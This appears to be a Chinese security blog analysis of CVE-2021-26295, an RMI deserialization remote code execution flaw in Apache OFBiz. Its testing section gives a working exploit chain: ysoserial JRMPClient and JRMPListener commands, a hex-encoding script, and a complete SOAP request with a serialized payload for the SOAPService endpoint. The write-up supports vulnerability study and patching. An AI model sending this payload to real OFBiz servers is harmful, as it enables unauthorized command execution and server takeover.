CVE-2021-26295 Apache OFBiz 反序列化分析

阅读量    324294 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

漏洞简介

2021322 Apache OFBiz官方发布安全更新,修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。

漏洞影响版本:apache:ofbiz<17.12.06

官网:https://ofbiz.apache.org/

项目下载地址:https://archive.apache.org/dist/ofbiz/

补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/

漏洞触发路径:https://ip:8433/webtools/control/SOAPService

 

调试环境搭建

这个反序列化漏洞本身相对简单,但是搭建调试环境的时候费了好些功夫。

工具:Idea + apache-ofbiz-17.12.01.zip + gradle-6.8.3 + jdk11 + jkd1.8

jdk11gradle用来构建项目的,jdk1.8是用来运行项目的。大概过程如下:

首先Idea打开整个ofbiz工程,配置gradle目录

高版本的gralde需要jdk11以上环境(一开始我配的是jdk1.8,但是构建项目就报错了),确定之后,然后就进入漫长的等待时间,然后build一下

Build完成后,会在项目目录下生成build文件夹,以及ofbiz.jar等文件。

然后edit congfigurations 添加JAR Application

调试运行(jdk要选1.8的,用jdk11会报错),然后在framework\webapp\src\main\java\org\apache\ofbiz\webapp\event\SOAPEventHandler.java public String invoke(*)下断点。

网页访问:/webtools/control/SOAPService,成功断下。

 

漏洞跟踪调试

我们先看下payload格式,再跟踪代码流程。

当访问https://ip:8443/webtools/control/SOAPService时,程序会进入SOAPEventHandler模块进行处理,具体网站路径的路由控制可以参考https://xz.aliyun.com/t/8184/这篇文章。函数负责接收soap数据,并进调用SoapSerializer.deserialize()函数进行反序列化处理,代码如下:

然后调用XmlSerializer.deserialize()

然后调用deserializeSingle()函数,这个函数需要重点关注,函数决定你构造的payload的格式。

函数首先获取了我们的标签cus-obj,然后和一些标签进行比较,如果没有匹配到,则调用deserializeCustom()函数,获取标签内的值,然后将16进制转化成字节数组。然后调用readObject()将字节数组反序列化,触发漏洞。

这里函数里使用了SafeObjectInputStream类,做了一些安全处理,加了白名单机制,只允许白名单内的类进行反序列化。

我对比看了下ofbiz16版本系列的,这里是没有SafeObjectInputStream过滤的。

应该是官方自己发现这里有反序列化漏洞问题,所有加了白名单机制,限制了反序列化的类,但是在加白名单时比较松散,java.”白名单范围太大,导致漏洞依然可以被利用,使用ysoserialrmi payload依然可以做到任意命令执行。

最新版本的补丁,添加了java.rmi.server的过滤。

 

漏洞测试

1、生成payload

java -jar ysoserial-master-30099844c6-1.jar JRMPClient "127.0.0.1:1099" > calc.ser

2、calc.ser转成16进制

import binascii

filename = 'calc.ser'

with open(filename, 'rb') as f:

    content = f.read()

print(binascii.hexlify(content))

3、java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 “calc”

4、构造payload发送到目标服务器

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header/>

    <soapenv:Body>

<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>

</ser>

    </soapenv:Body>

</soapenv:Envelope>

 

总结思考

1、我在跟踪调试时,发现触发这个漏洞的流程并不只这一条,还有其他方式可以触发该漏洞,有兴趣的可以找一下。

2、总感觉他这个白名单范围过大,如果以后有大佬找到新的利用链,那这个白名单很可能被绕过。

参考:

1、 https://xz.aliyun.com/t/8184/

2、 https://www.o2oxy.cn/3271.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多